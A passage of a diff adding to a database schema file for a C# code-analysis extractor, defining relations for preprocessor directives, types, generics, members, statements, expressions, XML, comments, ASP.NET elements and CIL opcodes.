@declaration_or_directive ref, // cannot be unique because of partial classes + int namespace_id: @namespace_declaration ref); + +@using_directive = @using_namespace_directive | @using_static_directive; + +using_namespace_directives( + unique int id: @using_namespace_directive, + int namespace_id: @namespace ref); + +using_static_directives( + unique int id: @using_static_directive, + int type_id: @type_or_ref ref); + +using_directive_location( + unique int id: @using_directive ref, + int loc: @location ref); + +@preprocessor_directive = @pragma_warning | @pragma_checksum | @directive_define | @directive_undefine | @directive_warning + | @directive_error | @directive_nullable | @directive_line | @directive_region | @directive_endregion | @directive_if + | @directive_elif | @directive_else | @directive_endif; + +@conditional_directive = @directive_if | @directive_elif; +@branch_directive = @directive_if | @directive_elif | @directive_else; + +directive_ifs( + unique int id: @directive_if, + int branchTaken: int ref, /* 0: false, 1: true */ + int conditionValue: int ref); /* 0: false, 1: true */ + +directive_elifs( + unique int id: @directive_elif, + int branchTaken: int ref, /* 0: false, 1: true */ + int conditionValue: int ref, /* 0: false, 1: true */ + int parent: @directive_if ref, + int index: int ref); + +directive_elses( + unique int id: @directive_else, + int branchTaken: int ref, /* 0: false, 1: true */ + int parent: @directive_if ref, + int index: int ref); + +#keyset[id, start] +directive_endifs( + unique int id: @directive_endif, + unique int start: @directive_if ref); + +directive_define_symbols( + unique int id: @define_symbol_expr ref, + string name: string ref); + +directive_regions( + unique int id: @directive_region, + string name: string ref); + +#keyset[id, start] +directive_endregions( + unique int id: @directive_endregion, + unique int start: @directive_region ref); + +directive_lines( + unique int id: @directive_line, + int kind: int ref); /* 0: default, 1: hidden, 2: numeric */ + +directive_line_value( + unique int id: @directive_line ref, + int line: int ref); + +directive_line_file( + unique int id: @directive_line ref, + int file: @file ref +) + +directive_nullables( + unique int id: @directive_nullable, + int setting: int ref, /* 0: disable, 1: enable, 2: restore */ + int target: int ref); /* 0: none, 1: annotations, 2: warnings */ + +directive_warnings( + unique int id: @directive_warning, + string message: string ref); + +directive_errors( + unique int id: @directive_error, + string message: string ref); + +directive_undefines( + unique int id: @directive_undefine, + string name: string ref); + +directive_defines( + unique int id: @directive_define, + string name: string ref); + +pragma_checksums( + unique int id: @pragma_checksum, + int file: @file ref, + string guid: string ref, + string bytes: string ref); + +pragma_warnings( + unique int id: @pragma_warning, + int kind: int ref /* 0 = disable, 1 = restore */); + +#keyset[id, index] +pragma_warning_error_codes( + int id: @pragma_warning ref, + string errorCode: string ref, + int index: int ref); + +preprocessor_directive_location( + unique int id: @preprocessor_directive ref, + int loc: @location ref); + +preprocessor_directive_compilation( + unique int id: @preprocessor_directive ref, + int compilation: @compilation ref); + +preprocessor_directive_active( + unique int id: @preprocessor_directive ref, + int active: int ref); /* 0: false, 1: true */ + +/** TYPES **/ + +types( + unique int id: @type, + int kind: int ref, + string name: string ref); + +case @type.kind of + 1 = @bool_type +| 2 = @char_type +| 3 = @decimal_type +| 4 = @sbyte_type +| 5 = @short_type +| 6 = @int_type +| 7 = @long_type +| 8 = @byte_type +| 9 = @ushort_type +| 10 = @uint_type +| 11 = @ulong_type +| 12 = @float_type +| 13 = @double_type +| 14 = @enum_type +| 15 = @struct_type +| 17 = @class_type +| 19 = @interface_type +| 20 = @delegate_type +| 21 = @null_type +| 22 = @type_parameter +| 23 = @pointer_type +| 24 = @nullable_type +| 25 = @array_type +| 26 = @void_type +| 27 = @int_ptr_type +| 28 = @uint_ptr_type +| 29 = @dynamic_type +| 30 = @arglist_type +| 31 = @unknown_type +| 32 = @tuple_type +| 33 = @function_pointer_type + ; + +@simple_type = @bool_type | @char_type | @integral_type | @floating_point_type | @decimal_type; +@integral_type = @signed_integral_type | @unsigned_integral_type; +@signed_integral_type = @sbyte_type | @short_type | @int_type | @long_type; +@unsigned_integral_type = @byte_type | @ushort_type | @uint_type | @ulong_type; +@floating_point_type = @float_type | @double_type; +@value_type = @simple_type | @enum_type | @struct_type | @nullable_type | @int_ptr_type + | @uint_ptr_type | @tuple_type; +@ref_type = @class_type | @interface_type | @array_type | @delegate_type | @null_type + | @dynamic_type; +@value_or_ref_type = @value_type | @ref_type; + +typerefs( + unique int id: @typeref, + string name: string ref); + +typeref_type( + int id: @typeref ref, + unique int typeId: @type ref); + +@type_or_ref = @type | @typeref; + +array_element_type( + unique int array: @array_type ref, + int dimension: int ref, + int rank: int ref, + int element: @type_or_ref ref); + +nullable_underlying_type( + unique int nullable: @nullable_type ref, + int underlying: @type_or_ref ref); + +pointer_referent_type( + unique int pointer: @pointer_type ref, + int referent: @type_or_ref ref); + +enum_underlying_type( + unique int enum_id: @enum_type ref, + int underlying_type_id: @type_or_ref ref); + +delegate_return_type( + unique int delegate_id: @delegate_type ref, + int return_type_id: @type_or_ref ref); + +function_pointer_return_type( + unique int function_pointer_id: @function_pointer_type ref, + int return_type_id: @type_or_ref ref); + +extend( + unique int sub: @type ref, + int super: @type_or_ref ref); + +anonymous_types( + unique int id: @type ref); + +@interface_or_ref = @interface_type | @typeref; + +implement( + int sub: @type ref, + int super: @type_or_ref ref); + +type_location( + int id: @type ref, + int loc: @location ref); + +tuple_underlying_type( + unique int tuple: @tuple_type ref, + int struct: @type_or_ref ref); + +#keyset[tuple, index] +tuple_element( + int tuple: @tuple_type ref, + int index: int ref, + unique int field: @field ref); + +attributes( + unique int id: @attribute, + int type_id: @type_or_ref ref, + int target: @attributable ref); + +attribute_location( + int id: @attribute ref, + int loc: @location ref); + +@type_mention_parent = @element | @type_mention; + +type_mention( + unique int id: @type_mention, + int type_id: @type_or_ref ref, + int parent: @type_mention_parent ref); + +type_mention_location( + unique int id: @type_mention ref, + int loc: @location ref); + +@has_type_annotation = @assignable | @type_parameter | @callable | @expr | @delegate_type | @generic | @function_pointer_type; + +/** + * A direct annotation on an entity, for example `string? x;`. + * + * Annotations: + * 2 = reftype is not annotated "!" + * 3 = reftype is annotated "?" + * 4 = readonly ref type / in parameter + * 5 = ref type parameter, return or local variable + * 6 = out parameter + * + * Note that the annotation depends on the element it annotates. + * @assignable: The annotation is on the type of the assignable, for example the variable type. + * @type_parameter: The annotation is on the reftype constraint + * @callable: The annotation is on the return type + * @array_type: The annotation is on the element type + */ +type_annotation(int id: @has_type_annotation ref, int annotation: int ref); + +nullability(unique int nullability: @nullability, int kind: int ref); + +case @nullability.kind of + 0 = @oblivious +| 1 = @not_annotated +| 2 = @annotated +; + +#keyset[parent, index] +nullability_parent(int nullability: @nullability ref, int index: int ref, int parent: @nullability ref) + +type_nullability(int id: @has_type_annotation ref, int nullability: @nullability ref); + +/** + * The nullable flow state of an expression, as determined by Roslyn. + * 0 = none (default, not populated) + * 1 = not null + * 2 = maybe null + */ +expr_flowstate(unique int id: @expr ref, int state: int ref); + +/** GENERICS **/ + +@generic = @type | @method | @local_function; + +type_parameters( + unique int id: @type_parameter ref, + int index: int ref, + int generic_id: @generic ref, + int variance: int ref /* none = 0, out = 1, in = 2 */); + +#keyset[constructed_id, index] +type_arguments( + int id: @type_or_ref ref, + int index: int ref, + int constructed_id: @generic_or_ref ref); + +@generic_or_ref = @generic | @typeref; + +constructed_generic( + unique int constructed: @generic ref, + int generic: @generic_or_ref ref); + +type_parameter_constraints( + unique int id: @type_parameter_constraints, + int param_id: @type_parameter ref); + +type_parameter_constraints_location( + int id: @type_parameter_constraints ref, + int loc: @location ref); + +general_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int kind: int ref /* class = 1, struct = 2, new = 3 */); + +specific_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref); + +specific_type_parameter_nullability( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref, + int nullability: @nullability ref); + +/** FUNCTION POINTERS */ + +function_pointer_calling_conventions( + int id: @function_pointer_type ref, + int kind: int ref); + +#keyset[id, index] +has_unmanaged_calling_conventions( + int id: @function_pointer_type ref, + int index: int ref, + int conv_id: @type_or_ref ref); + +/** MODIFIERS */ + +@modifiable = @modifiable_direct | @event_accessor; + +@modifiable_direct = @member | @accessor | @local_function | @anonymous_function_expr; + +modifiers( + unique int id: @modifier, + string name: string ref); + +has_modifiers( + int id: @modifiable_direct ref, + int mod_id: @modifier ref); + +compiler_generated(unique int id: @modifiable_direct ref); + +/** MEMBERS **/ + +@member = @method | @constructor | @destructor | @field | @property | @event | @operator | @indexer | @type; + +@named_exprorstmt = @goto_stmt | @labeled_stmt | @expr; + +@virtualizable = @method | @property | @indexer | @event; + +exprorstmt_name( + unique int parent_id: @named_exprorstmt ref, + string name: string ref); + +nested_types( + unique int id: @type ref, + int declaring_type_id: @type ref, + int unbound_id: @type ref); + +properties( + unique int id: @property, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @property ref); + +property_location( + int id: @property ref, + int loc: @location ref); + +indexers( + unique int id: @indexer, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @indexer ref); + +indexer_location( + int id: @indexer ref, + int loc: @location ref); + +accessors( + unique int id: @accessor, + int kind: int ref, + string name: string ref, + int declaring_member_id: @member ref, + int unbound_id: @accessor ref); + +case @accessor.kind of + 1 = @getter +| 2 = @setter + ; + +init_only_accessors( + unique int id: @accessor ref); + +accessor_location( + int id: @accessor ref, + int loc: @location ref); + +events( + unique int id: @event, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @event ref); + +event_location( + int id: @event ref, + int loc: @location ref); + +event_accessors( + unique int id: @event_accessor, + int kind: int ref, + string name: string ref, + int declaring_event_id: @event ref, + int unbound_id: @event_accessor ref); + +case @event_accessor.kind of + 1 = @add_event_accessor +| 2 = @remove_event_accessor + ; + +event_accessor_location( + int id: @event_accessor ref, + int loc: @location ref); + +operators( + unique int id: @operator, + string name: string ref, + string symbol: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @operator ref); + +operator_location( + int id: @operator ref, + int loc: @location ref); + +constant_value( + int id: @variable ref, + string value: string ref); + +/** CALLABLES **/ + +@callable = @method | @constructor | @destructor | @operator | @callable_accessor | @anonymous_function_expr | @local_function; + +@callable_accessor = @accessor | @event_accessor; + +methods( + unique int id: @method, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @method ref); + +method_location( + int id: @method ref, + int loc: @location ref); + +constructors( + unique int id: @constructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @constructor ref); + +constructor_location( + int id: @constructor ref, + int loc: @location ref); + +destructors( + unique int id: @destructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @destructor ref); + +destructor_location( + int id: @destructor ref, + int loc: @location ref); + +overrides( + int id: @callable ref, + int base_id: @callable ref); + +explicitly_implements( + int id: @member ref, + int interface_id: @interface_or_ref ref); + +local_functions( + unique int id: @local_function, + string name: string ref, + int return_type: @type ref, + int unbound_id: @local_function ref); + +local_function_stmts( + unique int fn: @local_function_stmt ref, + int stmt: @local_function ref); + +/** VARIABLES **/ + +@variable = @local_scope_variable | @field; + +@local_scope_variable = @local_variable | @parameter; + +fields( + unique int id: @field, + int kind: int ref, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @field ref); + +case @field.kind of + 1 = @addressable_field +| 2 = @constant + ; + +field_location( + int id: @field ref, + int loc: @location ref); + +localvars( + unique int id: @local_variable, + int kind: int ref, + string name: string ref, + int implicitly_typed: int ref /* 0 = no, 1 = yes */, + int type_id: @type_or_ref ref, + int parent_id: @local_var_decl_expr ref); + +case @local_variable.kind of + 1 = @addressable_local_variable +| 2 = @local_constant +| 3 = @local_variable_ref + ; + +localvar_location( + unique int id: @local_variable ref, + int loc: @location ref); + +@parameterizable = @callable | @delegate_type | @indexer | @function_pointer_type; + +#keyset[name, parent_id] +#keyset[index, parent_id] +params( + unique int id: @parameter, + string name: string ref, + int type_id: @type_or_ref ref, + int index: int ref, + int mode: int ref, /* value = 0, ref = 1, out = 2, array = 3, this = 4 */ + int parent_id: @parameterizable ref, + int unbound_id: @parameter ref); + +param_location( + int id: @parameter ref, + int loc: @location ref); + +/** STATEMENTS **/ + +@exprorstmt_parent = @control_flow_element | @top_level_exprorstmt_parent; + +statements( + unique int id: @stmt, + int kind: int ref); + +#keyset[index, parent] +stmt_parent( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_stmt_parent = @callable; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +stmt_parent_top_level( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @top_level_stmt_parent ref); + +case @stmt.kind of + 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @switch_stmt +| 5 = @while_stmt +| 6 = @do_stmt +| 7 = @for_stmt +| 8 = @foreach_stmt +| 9 = @break_stmt +| 10 = @continue_stmt +| 11 = @goto_stmt +| 12 = @goto_case_stmt +| 13 = @goto_default_stmt +| 14 = @throw_stmt +| 15 = @return_stmt +| 16 = @yield_stmt +| 17 = @try_stmt +| 18 = @checked_stmt +| 19 = @unchecked_stmt +| 20 = @lock_stmt +| 21 = @using_block_stmt +| 22 = @var_decl_stmt +| 23 = @const_decl_stmt +| 24 = @empty_stmt +| 25 = @unsafe_stmt +| 26 = @fixed_stmt +| 27 = @label_stmt +| 28 = @catch +| 29 = @case_stmt +| 30 = @local_function_stmt +| 31 = @using_decl_stmt + ; + +@using_stmt = @using_block_stmt | @using_decl_stmt; + +@labeled_stmt = @label_stmt | @case; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @using_decl_stmt; + +@cond_stmt = @if_stmt | @switch_stmt; + +@loop_stmt = @while_stmt | @do_stmt | @for_stmt | @foreach_stmt; + +@jump_stmt = @break_stmt | @goto_any_stmt | @continue_stmt | @throw_stmt | @return_stmt + | @yield_stmt; + +@goto_any_stmt = @goto_default_stmt | @goto_case_stmt | @goto_stmt; + + +stmt_location( + unique int id: @stmt ref, + int loc: @location ref); + +catch_type( + unique int catch_id: @catch ref, + int type_id: @type_or_ref ref, + int kind: int ref /* explicit = 1, implicit = 2 */); + +/** EXPRESSIONS **/ + +expressions( + unique int id: @expr, + int kind: int ref, + int type_id: @type_or_ref ref); + +#keyset[index, parent] +expr_parent( + unique int expr: @expr ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_expr_parent = @attribute | @field | @property | @indexer | @parameter | @directive_if | @directive_elif; + +@top_level_exprorstmt_parent = @top_level_expr_parent | @top_level_stmt_parent; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +expr_parent_top_level( + unique int expr: @expr ref, + int index: int ref, + int parent: @top_level_exprorstmt_parent ref); + +case @expr.kind of +/* literal */ + 1 = @bool_literal_expr +| 2 = @char_literal_expr +| 3 = @decimal_literal_expr +| 4 = @int_literal_expr +| 5 = @long_literal_expr +| 6 = @uint_literal_expr +| 7 = @ulong_literal_expr +| 8 = @float_literal_expr +| 9 = @double_literal_expr +| 10 = @string_literal_expr +| 11 = @null_literal_expr +/* primary & unary */ +| 12 = @this_access_expr +| 13 = @base_access_expr +| 14 = @local_variable_access_expr +| 15 = @parameter_access_expr +| 16 = @field_access_expr +| 17 = @property_access_expr +| 18 = @method_access_expr +| 19 = @event_access_expr +| 20 = @indexer_access_expr +| 21 = @array_access_expr +| 22 = @type_access_expr +| 23 = @typeof_expr +| 24 = @method_invocation_expr +| 25 = @delegate_invocation_expr +| 26 = @operator_invocation_expr +| 27 = @cast_expr +| 28 = @object_creation_expr +| 29 = @explicit_delegate_creation_expr +| 30 = @implicit_delegate_creation_expr +| 31 = @array_creation_expr +| 32 = @default_expr +| 33 = @plus_expr +| 34 = @minus_expr +| 35 = @bit_not_expr +| 36 = @log_not_expr +| 37 = @post_incr_expr +| 38 = @post_decr_expr +| 39 = @pre_incr_expr +| 40 = @pre_decr_expr +/* multiplicative */ +| 41 = @mul_expr +| 42 = @div_expr +| 43 = @rem_expr +/* additive */ +| 44 = @add_expr +| 45 = @sub_expr +/* shift */ +| 46 = @lshift_expr +| 47 = @rshift_expr +/* relational */ +| 48 = @lt_expr +| 49 = @gt_expr +| 50 = @le_expr +| 51 = @ge_expr +/* equality */ +| 52 = @eq_expr +| 53 = @ne_expr +/* logical */ +| 54 = @bit_and_expr +| 55 = @bit_xor_expr +| 56 = @bit_or_expr +| 57 = @log_and_expr +| 58 = @log_or_expr +/* type testing */ +| 59 = @is_expr +| 60 = @as_expr +/* null coalescing */ +| 61 = @null_coalescing_expr +/* conditional */ +| 62 = @conditional_expr +/* assignment */ +| 63 = @simple_assign_expr +| 64 = @assign_add_expr +| 65 = @assign_sub_expr +| 66 = @assign_mul_expr +| 67 = @assign_div_expr +| 68 = @assign_rem_expr +| 69 = @assign_and_expr +| 70 = @assign_xor_expr +| 71 = @assign_or_expr +| 72 = @assign_lshift_expr +| 73 = @assign_rshift_expr +/* more */ +| 74 = @object_init_expr +| 75 = @collection_init_expr +| 76 = @array_init_expr +| 77 = @checked_expr +| 78 = @unchecked_expr +| 79 = @constructor_init_expr +| 80 = @add_event_expr +| 81 = @remove_event_expr +| 82 = @par_expr +| 83 = @local_var_decl_expr +| 84 = @lambda_expr +| 85 = @anonymous_method_expr +| 86 = @namespace_expr +/* dynamic */ +| 92 = @dynamic_element_access_expr +| 93 = @dynamic_member_access_expr +/* unsafe */ +| 100 = @pointer_indirection_expr +| 101 = @address_of_expr +| 102 = @sizeof_expr +/* async */ +| 103 = @await_expr +/* C# 6.0 */ +| 104 = @nameof_expr +| 105 = @interpolated_string_expr +| 106 = @unknown_expr +/* C# 7.0 */ +| 107 = @throw_expr +| 108 = @tuple_expr +| 109 = @local_function_invocation_expr +| 110 = @ref_expr +| 111 = @discard_expr +/* C# 8.0 */ +| 112 = @range_expr +| 113 = @index_expr +| 114 = @switch_expr +| 115 = @recursive_pattern_expr +| 116 = @property_pattern_expr +| 117 = @positional_pattern_expr +| 118 = @switch_case_expr +| 119 = @assign_coalesce_expr +| 120 = @suppress_nullable_warning_expr +| 121 = @namespace_access_expr +/* C# 9.0 */ +| 122 = @lt_pattern_expr +| 123 = @gt_pattern_expr +| 124 = @le_pattern_expr +| 125 = @ge_pattern_expr +| 126 = @not_pattern_expr +| 127 = @and_pattern_expr +| 128 = @or_pattern_expr +| 129 = @function_pointer_invocation_expr +/* Preprocessor */ +| 999 = @define_symbol_expr +; + +@switch = @switch_stmt | @switch_expr; +@case = @case_stmt | @switch_case_expr; +@pattern_match = @case | @is_expr; +@unary_pattern_expr = @not_pattern_expr; +@relational_pattern_expr = @gt_pattern_expr | @lt_pattern_expr | @ge_pattern_expr | @le_pattern_expr; +@binary_pattern_expr = @and_pattern_expr | @or_pattern_expr; + +@integer_literal_expr = @int_literal_expr | @long_literal_expr | @uint_literal_expr | @ulong_literal_expr; +@real_literal_expr = @float_literal_expr | @double_literal_expr | @decimal_literal_expr; +@literal_expr = @bool_literal_expr | @char_literal_expr | @integer_literal_expr | @real_literal_expr + | @string_literal_expr | @null_literal_expr; + +@assign_expr = @simple_assign_expr | @assign_op_expr | @local_var_decl_expr; +@assign_op_expr = @assign_arith_expr | @assign_bitwise_expr | @assign_event_expr | @assign_coalesce_expr; +@assign_event_expr = @add_event_expr | @remove_event_expr; + +@assign_arith_expr = @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr + | @assign_rem_expr +@assign_bitwise_expr = @assign_and_expr | @assign_or_expr | @assign_xor_expr + | @assign_lshift_expr | @assign_rshift_expr; + +@member_access_expr = @field_access_expr | @property_access_expr | @indexer_access_expr | @event_access_expr + | @method_access_expr | @type_access_expr | @dynamic_member_access_expr; +@access_expr = @member_access_expr | @this_access_expr | @base_access_expr | @assignable_access_expr | @namespace_access_expr; +@element_access_expr = @indexer_access_expr | @array_access_expr | @dynamic_element_access_expr; + +@local_variable_access = @local_variable_access_expr | @local_var_decl_expr; +@local_scope_variable_access_expr = @parameter_access_expr | @local_variable_access; +@variable_access_expr = @local_scope_variable_access_expr | @field_access_expr; + +@assignable_access_expr = @variable_access_expr | @property_access_expr | @element_access_expr + | @event_access_expr | @dynamic_member_access_expr; + +@objectorcollection_init_expr = @object_init_expr | @collection_init_expr; + +@delegate_creation_expr = @explicit_delegate_creation_expr | @implicit_delegate_creation_expr; + +@bin_arith_op_expr = @mul_expr | @div_expr | @rem_expr | @add_expr | @sub_expr; +@incr_op_expr = @pre_incr_expr | @post_incr_expr; +@decr_op_expr = @pre_decr_expr | @post_decr_expr; +@mut_op_expr = @incr_op_expr | @decr_op_expr; +@un_arith_op_expr = @plus_expr | @minus_expr | @mut_op_expr; +@arith_op_expr = @bin_arith_op_expr | @un_arith_op_expr; + +@ternary_log_op_expr = @conditional_expr; +@bin_log_op_expr = @log_and_expr | @log_or_expr | @null_coalescing_expr; +@un_log_op_expr = @log_not_expr; +@log_expr = @un_log_op_expr | @bin_log_op_expr | @ternary_log_op_expr; + +@bin_bit_op_expr = @bit_and_expr | @bit_or_expr | @bit_xor_expr | @lshift_expr + | @rshift_expr; +@un_bit_op_expr = @bit_not_expr; +@bit_expr = @un_bit_op_expr | @bin_bit_op_expr; + +@equality_op_expr = @eq_expr | @ne_expr; +@rel_op_expr = @gt_expr | @lt_expr| @ge_expr | @le_expr; +@comp_expr = @equality_op_expr | @rel_op_expr; + +@op_expr = @assign_expr | @un_op | @bin_op | @ternary_op; + +@ternary_op = @ternary_log_op_expr; +@bin_op = @bin_arith_op_expr | @bin_log_op_expr | @bin_bit_op_expr | @comp_expr; +@un_op = @un_arith_op_expr | @un_log_op_expr | @un_bit_op_expr | @sizeof_expr + | @pointer_indirection_expr | @address_of_expr; + +@anonymous_function_expr = @lambda_expr | @anonymous_method_expr; + +@call = @method_invocation_expr | @constructor_init_expr | @operator_invocation_expr + | @delegate_invocation_expr | @object_creation_expr | @call_access_expr + | @local_function_invocation_expr | @function_pointer_invocation_expr; + +@call_access_expr = @property_access_expr | @event_access_expr | @indexer_access_expr; + +@late_bindable_expr = @dynamic_element_access_expr | @dynamic_member_access_expr + | @object_creation_expr | @method_invocation_expr | @operator_invocation_expr; + +@throw_element = @throw_expr | @throw_stmt; + +@implicitly_typeable_object_creation_expr = @object_creation_expr | @explicit_delegate_creation_expr; + +implicitly_typed_array_creation( + unique int id: @array_creation_expr ref); + +explicitly_sized_array_creation( + unique int id: @array_creation_expr ref); + +stackalloc_array_creation( + unique int id: @array_creation_expr ref); + +implicitly_typed_object_creation( + unique int id: @implicitly_typeable_object_creation_expr ref); + +mutator_invocation_mode( + unique int id: @operator_invocation_expr ref, + int mode: int ref /* prefix = 1, postfix = 2*/); + +expr_compiler_generated( + unique int id: @expr ref); + +expr_value( + unique int id: @expr ref, + string value: string ref); + +expr_call( + unique int caller_id: @expr ref, + int target_id: @callable ref); + +expr_access( + unique int accesser_id: @access_expr ref, + int target_id: @accessible ref); + +@accessible = @method | @assignable | @local_function | @namespace; + +expr_location( + unique int id: @expr ref, + int loc: @location ref); + +dynamic_member_name( + unique int id: @late_bindable_expr ref, + string name: string ref); + +@qualifiable_expr = @member_access_expr + | @method_invocation_expr + | @element_access_expr; + +conditional_access( + unique int id: @qualifiable_expr ref); + +expr_argument( + unique int id: @expr ref, + int mode: int ref); + /* mode is the same as params: value = 0, ref = 1, out = 2 */ + +expr_argument_name( + unique int id: @expr ref, + string name: string ref); + +/** CONTROL/DATA FLOW **/ + +@control_flow_element = @stmt | @expr; + +/* XML Files */ + +xmlEncoding ( + unique int id: @file ref, + string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/* Comments */ + +commentline( + unique int id: @commentline, + int kind: int ref, + string text: string ref, + string rawtext: string ref); + +case @commentline.kind of + 0 = @singlelinecomment +| 1 = @xmldoccomment +| 2 = @multilinecomment; + +commentline_location( + unique int id: @commentline ref, + int loc: @location ref); + +commentblock( + unique int id : @commentblock); + +commentblock_location( + unique int id: @commentblock ref, + int loc: @location ref); + +commentblock_binding( + int id: @commentblock ref, + int entity: @element ref, + int bindtype: int ref); /* 0: Parent, 1: Best, 2: Before, 3: After */ + +commentblock_child( + int id: @commentblock ref, + int commentline: @commentline ref, + int index: int ref); + +/* ASP.NET */ + +case @asp_element.kind of + 0=@asp_close_tag +| 1=@asp_code +| 2=@asp_comment +| 3=@asp_data_binding +| 4=@asp_directive +| 5=@asp_open_tag +| 6=@asp_quoted_string +| 7=@asp_text +| 8=@asp_xml_directive; + +@asp_attribute = @asp_code | @asp_data_binding | @asp_quoted_string; + +asp_elements( + unique int id: @asp_element, + int kind: int ref, + int loc: @location ref); + +asp_comment_server(unique int comment: @asp_comment ref); +asp_code_inline(unique int code: @asp_code ref); +asp_directive_attribute( + int directive: @asp_directive ref, + int index: int ref, + string name: string ref, + int value: @asp_quoted_string ref); +asp_directive_name( + unique int directive: @asp_directive ref, + string name: string ref); +asp_element_body( + unique int element: @asp_element ref, + string body: string ref); +asp_tag_attribute( + int tag: @asp_open_tag ref, + int index: int ref, + string name: string ref, + int attribute: @asp_attribute ref); +asp_tag_name( + unique int tag: @asp_open_tag ref, + string name: string ref); +asp_tag_isempty(int tag: @asp_open_tag ref); + +/* Common Intermediate Language - CIL */ + +case @cil_instruction.opcode of + 0 = @cil_nop +| 1 = @cil_break +| 2 = @cil_ldarg_0 +| 3 = @cil_ldarg_1 +| 4 = @cil_ldarg_2 +| 5 = @cil_ldarg_3 +| 6 = @cil_ldloc_0 +| 7 = @cil_ldloc_1 +| 8 = @cil_ldloc_2 +| 9 = @cil_ldloc_3 +| 10 = @cil_stloc_0 +| 11 = @cil_stloc_1 +| 12 = @cil_stloc_2 +| 13 = @cil_stloc_3 +| 14 = @cil_ldarg_s +| 15 = @cil_ldarga_s +| 16 = @cil_starg_s +| 17 = @cil_ldloc_s +| 18 = @cil_ldloca_s +| 19 = @cil_stloc_s +| 20 = @cil_ldnull +| 21 = @cil_ldc_i4_m1 +| 22 = @cil_ldc_i4_0 +| 23 = @cil_ldc_i4_1 +| 24 = @cil_ldc_i4_2 +| 25 = @cil_ldc_i4_3 +| 26 = @cil_ldc_i4_4 +| 27 = @cil_ldc_i4_5 +| 28 = @cil_ldc_i4_6 +| 29 = @cil_ldc_i4_7 +| 30 = @cil_ldc_i4_8 +| 31 = @cil_ldc_i4_s +| 32 = @cil_ldc_i4 +| 33 = @cil_ldc_i8 +| 34 = @cil_ldc_r4 +| 35 = @cil_ldc_r8 +| 37 = @cil_dup +| 38 = @cil_pop +| 39 = @cil_jmp +| 40 = @cil_call +| 41 = @cil_calli +| 42 = @cil_ret +| 43 = @cil_br_s +| 44 = @cil_brfalse_s +| 45 = @cil_brtrue_s +| 46 = @cil_beq_s +| 47 = @cil_bge_s +| 48 = @cil_bgt_s +| 49 = @cil_ble_s +| 50 = @cil_blt_s +| 51 = @cil_bne_un_s +| 52 = @cil_bge_un_s +| 53 = @cil_bgt_un_s +| 54 = @cil_ble_un_s +| 55 = @cil_blt_un_s +| 56 = @cil_br +| 57 = @cil_brfalse +| 58 = @cil_brtrue +| 59 = @cil_beq +| 60 = @cil_bge +| 61 = @cil_bgt +| 62 = @cil_ble +| 63 = @cil_blt +| 64 = @cil_bne_un +| 65 = @cil_bge_un +| 66 = @cil_bgt_un +| 67 = @cil_ble_un +| 68 = @cil_blt_un +| 69 = @cil_switch +| 70 = @cil_ldind_i1 +| 71 = @cil_ldind_u1 +| 72 = @cil_ldind_i2 +| 73 = @cil_ldind_u2 +| 74 = @cil_ldind_i4 +| 75 = @cil_ldind_u4 +| 76 = @cil_ldind_i8 +| 77 = @cil_ldind_i +| 78 = @cil_ldind_r4 +| 79 = @cil_ldind_r8 +| 80 = @cil_ldind_ref +| 81 = @cil_stind_ref +| 82 = @cil_stind_i1 +| 83 = @cil_stind_i2 +| 84 = @cil_stind_i4 +| 85 = @cil_stind_i8 +| 86 = @cil_stind_r4 +| 87 = @cil_stind_r8 +| 88 = @cil_add +| 89 = @cil_sub +| 90 = @cil_mul +| 91 = @cil_div +| 92 = @cil_div_un +| 93 = @cil_rem +| 94 = @cil_rem_un +| 95 = @cil_and +| 96 = @cil_or +| 97 = @cil_xor +| 98 = @cil_shl +| 99 = @cil_shr +| 100 = @cil_shr_un +| 101 = @cil_neg +| 102 = @cil_not +| 103 = @cil_conv_i1 +| 104 = @cil_conv_i2 +| 105 = @cil_conv_i4 +| 106 = @cil_conv_i8 +| 107 = @cil_conv_r4 +| 108 = @cil_conv_r8 +| 109 = @cil_conv_u4 +| 110 = @cil_conv_u8 +| 111 = @cil_callvirt +| 112 = @cil_cpobj +| 113 = @cil_ldobj +| 114 = @cil_ldstr +| 115 = @cil_newobj +| 116 = @cil_castclass +| 117 = @cil_isinst 